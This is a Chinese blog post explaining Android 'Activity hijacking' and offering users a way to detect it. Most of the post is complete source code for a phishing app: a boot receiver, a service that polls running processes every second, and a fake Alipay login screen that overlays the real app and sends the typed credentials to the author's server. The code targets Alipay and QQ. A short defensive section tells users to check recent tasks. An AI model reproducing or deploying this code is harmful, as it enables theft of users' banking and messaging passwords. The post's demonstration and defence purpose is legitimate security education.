大谈android安全1——Activity劫持与用户防范

本博客声明:此文仅为技术讨论,不对具体阅读者的行为负责。同时希望大家不要将此用于非法目的。

1、Activity调度机制

在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。

当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。

<imgclass="alignnonesize-fullwp-image-621"title="Activity劫持演示文档"src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity劫持-演示文档.png"alt=""width="960"height="720"/>

但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?

在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

3、示例

下面是示例代码。

AndroidManifest.xml文件的代码。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.sinaapp.msdxblog.android.activityhijacking"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="4" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:name=".HijackingApplication"
        android:icon="@drawable/icon"
        android:label="@string/app_name" >
        <activity
            android:name=".activity.HijackingActivity"
            android:theme="@style/transparent"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".activity.sadstories.JokeActivity" />
        <activity android:name=".activity.sadstories.QQStoryActivity" />
        <activity android:name=".activity.sadstories.AlipayStoryActivity" />

        <receiver
            android:name=".receiver.HijackingReceiver"
            android:enabled="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>

        <service android:name=".service.HijackingService" >
        </service>
    </application>

</manifest>

在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码<uses-permissionandroid:name="android.permission.RECEIVE_BOOT_COMPLETED"/>去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。

package com.sinaapp.msdxblog.android.activityhijacking.activity;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

public class HijackingActivity extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
		Intent intent2 = new Intent(this, HijackingService.class);
		startService(intent2);
		Log.w("hijacking", "activity启动用来劫持的Service");
    }
}

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。

/*
 * @(#)HijackingBroadcast.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.receiver;

import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * @author Geek_Soledad ([email protected])
 */
public class HijackingReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
			Log.w("hijacking", "开机启动");
			Intent intent2 = new Intent(context, HijackingService.class);
			context.startService(intent2);
			Log.w("hijacking", "启动用来劫持的Service");
		}
	}
}

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。

在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。

代码如下:

/*
 * @(#)HijackingService.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.service;

import java.util.HashMap;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

/**
 * @author Geek_Soledad ([email protected])
 */
public class HijackingService extends Service {
	private boolean hasStart = false;
	// 这是一个悲伤的故事……
	HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

	// Timer mTimer = new Timer();
	Handler handler = new Handler();

	Runnable mTask = new Runnable() {

		@Override
		public void run() {
			ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
			List<RunningAppProcessInfo> appProcessInfos = activityManager
					.getRunningAppProcesses();
			// 枚举进程
			Log.w("hijacking", "正在枚举进程");
			for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
				// 如果APP在前台,那么——悲伤的故事就要来了
				if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
					if (mSadStories.containsKey(appProcessInfo.processName)) {
						// 进行劫持
						hijacking(appProcessInfo.processName);
					} else {
						 Log.w("hijacking", appProcessInfo.processName);
					}
				}
			}
			handler.postDelayed(mTask, 1000);
		}

		/**
		 * 进行劫持
		 * @param processName
		 */
		private void hijacking(String processName) {
			Log.w("hijacking", "有程序要悲剧了……");
			if (((HijackingApplication) getApplication())
					.hasProgressBeHijacked(processName) == false) {
				Log.w("hijacking", "悲剧正在发生");
				Intent jackingIsComing = new Intent(getBaseContext(),
						mSadStories.get(processName));
				jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
				getApplication().startActivity(jackingIsComing);
				((HijackingApplication) getApplication())
						.addProgressHijacked(processName);
				Log.w("hijacking", "已经劫持");
			}
		}
	};

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public void onStart(Intent intent, int startId) {
		super.onStart(intent, startId);
		if (!hasStart) {
			mSadStories.put("com.sinaapp.msdxblog.android.lol",
					JokeActivity.class);
			mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
			mSadStories.put("com.eg.android.AlipayGphone",
					AlipayStoryActivity.class);
			handler.postDelayed(mTask, 1000);
			hasStart = true;
		}
	}

	@Override
	public boolean stopService(Intent name) {
		hasStart = false;
		Log.w("hijacking", "劫持服务停止");
		((HijackingApplication) getApplication()).clearProgressHijacked();
		return super.stopService(name);
	}
}

下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。

/*
 * @(#)QQStoryActivity.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

/**
 * @author Geek_Soledad ([email protected])
 */
public class AlipayStoryActivity extends Activity {
	private EditText name;
	private EditText password;
	private Button mBtAlipay;
	private Button mBtTaobao;
	private Button mBtRegister;

	private TextView mTvFindpswd;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		this.setTheme(android.R.style.Theme_NoTitleBar);
		setContentView(R.layout.alipay);
		mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
		mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
		mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
		mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
		mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));
		mBtAlipay.setSelected(true);

		name = (EditText) findViewById(R.id.input_name);
		password = (EditText) findViewById(R.id.input_password);

	}

	public void onButtonClicked(View v) {
		switch (v.getId()) {
		case R.id.alipay_bt_login:
			HandlerThread handlerThread = new HandlerThread("send");
			handlerThread.start();
			new Handler(handlerThread.getLooper()).post(new Runnable() {
				@Override
				public void run() {
					// 发送获取到的用户密码
					SendUtil.sendInfo(name.getText().toString(), password
							.getText().toString(), "支付宝");
				}
			});
			moveTaskToBack(true);

			break;
		case R.id.alipay_bt_alipay:
			chooseToAlipay();
			break;
		case R.id.alipay_bt_taobao:
			chooseToTaobao();
			break;
		default:
			break;
		}
	}

	private void chooseToAlipay() {
		mBtAlipay.setSelected(true);
		mBtTaobao.setSelected(false);
		name.setHint(R.string.alipay_name_alipay_hint);
		mTvFindpswd.setVisibility(View.VISIBLE);
		mBtRegister.setVisibility(View.VISIBLE);
	}

	private void chooseToTaobao() {
		mBtAlipay.setSelected(false);
		mBtTaobao.setSelected(true);
		name.setHint(R.string.alipay_name_taobao_hint);
		mTvFindpswd.setVisibility(View.GONE);
		mBtRegister.setVisibility(View.GONE);
	}
}

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。

至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。

ActivityHijackingDemo.apk<br/>

Activity劫持演示文档.7z<br/>

4、用户防范

这里我将说下我发现的防范的方法,非常简单。这个方法是对用户而言的。android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务(前几天发现一个奇葩的手机,居然是短按一个键的,而这个键长按时是弹出MENU菜单,太奇葩了)。对于我所用的HTCG14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。

如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

目前对于这种Activity劫持,没有发现有任何手机查杀软件可以主动防范。而我所知的,也只有我发现的这一方法可以判别。如果有新的消息,欢迎参加讨论。

相关推荐